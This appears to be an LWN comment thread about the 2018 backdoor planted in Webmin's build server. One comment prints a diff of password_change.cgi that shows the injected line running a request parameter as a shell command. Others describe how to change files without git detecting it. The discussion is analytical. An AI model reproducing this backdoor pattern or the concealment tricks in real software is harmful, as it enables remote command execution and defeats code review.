Backdoors in Webmin
At some time in April 2018, the Webmin development build server was exploited and a vulnerability added to the password_change.cgi script. Because the timestamp on the file was set back, it did not show up in any Git diffs. This was included in the Webmin 1.890 release."
(Log in to post comments)
Backdoors in Webmin
Posted Aug 22, 2019 14:14 UTC (Thu) by jspenguin (guest, #120333) [Link]
Backdoors in Webmin
Posted Aug 22, 2019 14:29 UTC (Thu) by songmaster (subscriber, #1748) [Link]
Backdoors in Webmin
Posted Aug 22, 2019 15:01 UTC (Thu) by wodny (subscriber, #73045) [Link]
- hdparm --fibmap file
- hexedit file
- sync; echo 3 > /proc/sys/vm/drop_caches
It fooled git. `cat` shows new content, `git diff` shows nothing.
[1]: https://stackoverflow.com/questions/4075528/what-algorith...
Backdoors in Webmin
Posted Aug 22, 2019 15:47 UTC (Thu) by mgedmin (subscriber, #34497) [Link]
Now I'm curious about what the malicious change looked like.
Backdoors in Webmin
Posted Aug 22, 2019 15:57 UTC (Thu) by mgedmin (subscriber, #34497) [Link]
$ diff -u webmin-1.{881,890}/password_change.cgi
--- webmin-1.881/password_change.cgi 2018-03-16 05:06:29.000000000 +0200
+++ webmin-1.890/password_change.cgi 2018-07-15 22:02:34.000000000 +0300
@@ -2,14 +2,14 @@
# password_change.cgi
# Actually update a user's password by directly modifying /etc/shadow
-BEGIN { push(@INC, ".."); };
+BEGIN { push(@INC, "."); };
use WebminCore;
$ENV{'MINISERV_INTERNAL'} || die "Can only be called by miniserv.pl";
&init_config();
&ReadParse();
&get_miniserv_config(\%miniserv);
-$miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";
+$in{'expired'} eq '' || die $text{'password_expired'},qx/$in{'expired'}/;
# Validate inputs
$in{'new1'} ne '' || &pass_error($text{'password_enew1'});
File size changes by one byte:
$ ls -l webmin-1.{881,890}/password_change.cgi
-rwxr-xr-x 1 mg mg 7218 kov. 16 2018 webmin-1.881/password_change.cgi
-rwxr-xr-x 1 mg mg 7217 liep. 15 2018 webmin-1.890/password_change.cgi
but maybe there were some changes committed to git that were not present in the 1.881 tarball (that ".." vs "." thing at the top)?
Backdoors in Webmin
Posted Aug 22, 2019 20:31 UTC (Thu) by wodny (subscriber, #73045) [Link]
See https://github.com/git/git/blob/e13966d5a1695ba7feedb0bad....
Backdoors in Webmin
Posted Aug 22, 2019 20:25 UTC (Thu) by wodny (subscriber, #73045) [Link]
Backdoors in Webmin
Posted Aug 23, 2019 0:51 UTC (Fri) by ILMostro (guest, #105083) [Link]
I wonder if something like "--no-assume-unchanged" would be a workaround for that; unless that's only applicable for the "assume-unchanged" option.
That seems to be related, according to `git-update-index(1)`.
Backdoors in Webmin
Posted Aug 26, 2019 20:52 UTC (Mon) by jwilk (subscriber, #63328) [Link]
You don't even need to play with timestamps. You can ask git to pretend not to see the changes:git update-index --assume-unchanged password_change.cgi
Backdoors in Webmin
Posted Aug 27, 2019 7:49 UTC (Tue) by wodny (subscriber, #73045) [Link]
Backdoors in Webmin
Posted Aug 24, 2019 22:29 UTC (Sat) by quotemstr (subscriber, #45331) [Link]
Backdoors in Webmin
Posted Aug 22, 2019 18:16 UTC (Thu) by epa (subscriber, #39769) [Link]
Backdoors in Webmin
Posted Aug 22, 2019 20:40 UTC (Thu) by Karellen (subscriber, #67644) [Link]
Look back at the discussions that happened around the introduction of noatime/relatime regarding the use of the "atime" timestamp, which I would guess is used a couple of orders of magnitude less frequently than "mtime", and which ended up causing a non-trivial amount of pain for mutt users.
Backdoors in Webmin
Posted Aug 22, 2019 20:51 UTC (Thu) by nybble41 (subscriber, #55106) [Link]
Backdoors in Webmin
Posted Aug 26, 2019 19:22 UTC (Mon) by k8to (subscriber, #15413) [Link]
If you have those slices of security concerns, I would think an audit log that's streamed off the system would be a better choice.
Backdoors in Webmin
Posted Aug 22, 2019 15:52 UTC (Thu) by basmevissen (subscriber, #54935) [Link]
Backdoors in Webmin
Posted Aug 22, 2019 18:12 UTC (Thu) by wodny (subscriber, #73045) [Link]
Backdoors in Webmin
Posted Aug 22, 2019 19:01 UTC (Thu) by pbonzini (subscriber, #60935) [Link]
Backdoors in Webmin
Posted Aug 23, 2019 9:23 UTC (Fri) by basmevissen (subscriber, #54935) [Link]
Backdoors in Webmin
Posted Aug 23, 2019 13:54 UTC (Fri) by wazoox (subscriber, #69624) [Link]
Backdoors in Webmin
Posted Aug 23, 2019 14:26 UTC (Fri) by basmevissen (subscriber, #54935) [Link]
Backdoors in Webmin
Posted Aug 23, 2019 9:40 UTC (Fri) by Grimthorpe (subscriber, #106147) [Link]
I now always make releases from a newly checked out repository to ensure that what I release is exactly what's in source control, having been burnt too many times by finding changes that haven't been committed back.
Backdoors in Webmin
Posted Aug 25, 2019 18:04 UTC (Sun) by meyert (subscriber, #32097) [Link]
Backdoors in Webmin
Posted Aug 26, 2019 14:18 UTC (Mon) by mathstuf (subscriber, #69389) [Link]
We do this in our internal robot's git check logic in order to "check out" a repository into a working tree while not touching the disk. This allows us to only drop the files onto the disk that need to be there. This includes files being reformatted, conflict resolution files, etc. Very useful, but not something I would actually use for development or CI builds (the things are very ephemeral).
